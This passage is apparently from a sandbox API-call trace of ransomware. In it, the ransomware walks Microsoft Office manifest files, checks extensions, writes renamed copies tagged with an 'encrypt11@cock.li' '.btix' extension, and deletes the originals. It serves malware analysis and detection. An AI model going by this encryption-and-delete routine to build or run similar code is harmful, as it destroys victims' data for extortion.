(lpString1=".pdf", lpString2=".xml") returned -1 [0049.906] lstrlenW (lpString=".xls") returned 4 [0049.906] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.906] lstrlenW (lpString=".xlsx") returned 5 [0049.906] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0049.906] lstrlenW (lpString=".ppt") returned 4 [0049.906] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0049.906] lstrlenW (lpString=".zip") returned 4 [0049.906] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.906] lstrlenW (lpString=".rar") returned 4 [0049.906] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.906] lstrlenW (lpString=".bz2") returned 4 [0049.907] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.907] lstrlenW (lpString=".7z") returned 3 [0049.907] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0049.907] lstrlenW (lpString=".dbf") returned 4 [0049.907] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0049.907] lstrlenW (lpString=".1cd") returned 4 [0049.907] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0049.907] lstrlenW (lpString=".jpg") returned 4 [0049.907] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.907] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0049.907] lstrlenW (lpString="AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 53 [0049.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0049.907] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=1261) returned 1 [0049.907] CloseHandle (hObject=0x398) returned 1 [0049.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml")) returned 0x220 [0049.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0049.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0049.908] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.908] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0049.908] GetLastError () returned 0x0 [0049.908] ReadFile (in: hFile=0x398, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0049.952] WriteFile (in: hFile=0x350, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0049.953] ReadFile (in: hFile=0x398, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0049.953] WriteFile (in: hFile=0x350, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x13e, lpOverlapped=0x0) returned 1 [0049.953] SetEndOfFile (hFile=0x350) returned 1 [0049.954] CloseHandle (hObject=0x350) returned 1 [0049.954] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.954] SetEndOfFile (hFile=0x398) returned 1 [0049.955] CloseHandle (hObject=0x398) returned 1 [0049.955] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0049.956] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml")) returned 1 [0049.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0049.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0049.956] lstrlenW (lpString=".doc") returned 4 [0049.956] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.956] lstrlenW (lpString=".docx") returned 5 [0049.956] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0049.956] lstrlenW (lpString=".pdf") returned 4 [0049.956] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.956] lstrlenW (lpString=".xls") returned 4 [0049.956] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.956] lstrlenW (lpString=".xlsx") returned 5 [0049.956] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0049.956] lstrlenW (lpString=".ppt") returned 4 [0049.956] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0049.956] lstrlenW (lpString=".zip") returned 4 [0049.956] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.956] lstrlenW (lpString=".rar") returned 4 [0049.957] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.957] lstrlenW (lpString=".bz2") returned 4 [0049.957] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.957] lstrlenW (lpString=".7z") returned 3 [0049.957] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0049.957] lstrlenW (lpString=".dbf") returned 4 [0049.957] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0049.957] lstrlenW (lpString=".1cd") returned 4 [0049.957] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0049.957] lstrlenW (lpString=".jpg") returned 4 [0049.957] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0049.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0049.957] lstrlenW (lpString=".doc") returned 4 [0049.957] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.957] lstrlenW (lpString=".docx") returned 5 [0049.957] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0049.957] lstrlenW (lpString=".pdf") returned 4 [0049.957] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.957] lstrlenW (lpString=".xls") returned 4 [0049.957] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.957] lstrlenW (lpString=".xlsx") returned 5 [0049.957] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0049.957] lstrlenW (lpString=".ppt") returned 4 [0049.957] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0049.957] lstrlenW (lpString=".zip") returned 4 [0049.957] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.957] lstrlenW (lpString=".rar") returned 4 [0049.957] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.957] lstrlenW (lpString=".bz2") returned 4 [0049.957] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.957] lstrlenW (lpString=".7z") returned 3 [0049.958] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0049.958] lstrlenW (lpString=".dbf") returned 4 [0049.958] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0049.958] lstrlenW (lpString=".1cd") returned 4 [0049.958] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0049.958] lstrlenW (lpString=".jpg") returned 4 [0049.958] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.958] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0049.958] lstrlenW (lpString="AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 53 [0049.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0049.958] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=1450) returned 1 [0049.958] CloseHandle (hObject=0x398) returned 1 [0049.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0049.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0049.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0049.959] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.959] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0049.959] GetLastError () returned 0x0 [0049.959] ReadFile (in: hFile=0x398, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x5aa, lpOverlapped=0x0) returned 1 [0050.186] WriteFile (in: hFile=0x350, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x5b0, lpOverlapped=0x0) returned 1 [0050.187] ReadFile (in: hFile=0x398, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0050.187] WriteFile (in: hFile=0x350, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x13e, lpOverlapped=0x0) returned 1 [0050.187] SetEndOfFile (hFile=0x350) returned 1 [0050.187] CloseHandle (hObject=0x350) returned 1 [0050.188] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.188] SetEndOfFile (hFile=0x398) returned 1 [0050.188] CloseHandle (hObject=0x398) returned 1 [0050.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0050.189] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml")) returned 1 [0050.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0050.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0050.189] lstrlenW (lpString=".doc") returned 4 [0050.189] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.189] lstrlenW (lpString=".docx") returned 5 [0050.189] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0050.189] lstrlenW (lpString=".pdf") returned 4 [0050.189] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.189] lstrlenW (lpString=".xls") returned 4 [0050.189] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.189] lstrlenW (lpString=".xlsx") returned 5 [0050.189] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0050.190] lstrlenW (lpString=".ppt") returned 4 [0050.190] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0050.190] lstrlenW (lpString=".zip") returned 4 [0050.190] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.190] lstrlenW (lpString=".rar") returned 4 [0050.190] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.190] lstrlenW (lpString=".bz2") returned 4 [0050.190] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.190] lstrlenW (lpString=".7z") returned 3 [0050.190] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0050.190] lstrlenW (lpString=".dbf") returned 4 [0050.190] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0050.190] lstrlenW (lpString=".1cd") returned 4 [0050.190] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0050.190] lstrlenW (lpString=".jpg") returned 4 [0050.190] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0050.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0050.190] lstrlenW (lpString=".doc") returned 4 [0050.190] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.190] lstrlenW (lpString=".docx") returned 5 [0050.190] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0050.190] lstrlenW (lpString=".pdf") returned 4 [0050.190] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.190] lstrlenW (lpString=".xls") returned 4 [0050.190] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.190] lstrlenW (lpString=".xlsx") returned 5 [0050.190] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0050.190] lstrlenW (lpString=".ppt") returned 4 [0050.190] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0050.190] lstrlenW (lpString=".zip") returned 4 [0050.191] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.191] lstrlenW (lpString=".rar") returned 4 [0050.191] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.191] lstrlenW (lpString=".bz2") returned 4 [0050.191] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.191] lstrlenW (lpString=".7z") returned 3 [0050.191] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0050.191] lstrlenW (lpString=".dbf") returned 4 [0050.191] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0050.191] lstrlenW (lpString=".1cd") returned 4 [0050.191] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104 [0050.191] lstrlenW (lpString=".jpg") returned 4 [0050.191] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.191] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0050.191] lstrlenW (lpString="AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 53 [0050.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0050.191] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=1261) returned 1 [0050.191] CloseHandle (hObject=0x398) returned 1 [0050.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml")) returned 0x220 [0050.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0050.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0050.192] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.192] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0050.192] GetLastError () returned 0x0 [0050.192] ReadFile (in: hFile=0x398, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0050.213] WriteFile (in: hFile=0x350, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0050.213] ReadFile (in: hFile=0x398, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0050.213] WriteFile (in: hFile=0x350, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x13e, lpOverlapped=0x0) returned 1 [0050.214] SetEndOfFile (hFile=0x350) returned 1 [0050.214] CloseHandle (hObject=0x350) returned 1 [0050.214] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.214] SetEndOfFile (hFile=0x398) returned 1 [0050.215] CloseHandle (hObject=0x398) returned 1 [0050.215] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0050.215] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml")) returned 1 [0050.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0050.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0050.216] lstrlenW (lpString=".doc") returned 4 [0050.216] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.216] lstrlenW (lpString=".docx") returned 5 [0050.216] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0050.216] lstrlenW (lpString=".pdf") returned 4 [0050.216] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.216] lstrlenW (lpString=".xls") returned 4 [0050.216] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.216] lstrlenW (lpString=".xlsx") returned 5 [0050.216] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0050.216] lstrlenW (lpString=".ppt") returned 4 [0050.216] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0050.216] lstrlenW (lpString=".zip") returned 4 [0050.216] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.216] lstrlenW (lpString=".rar") returned 4 [0050.216] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.216] lstrlenW (lpString=".bz2") returned 4 [0050.216] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.216] lstrlenW (lpString=".7z") returned 3 [0050.216] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0050.216] lstrlenW 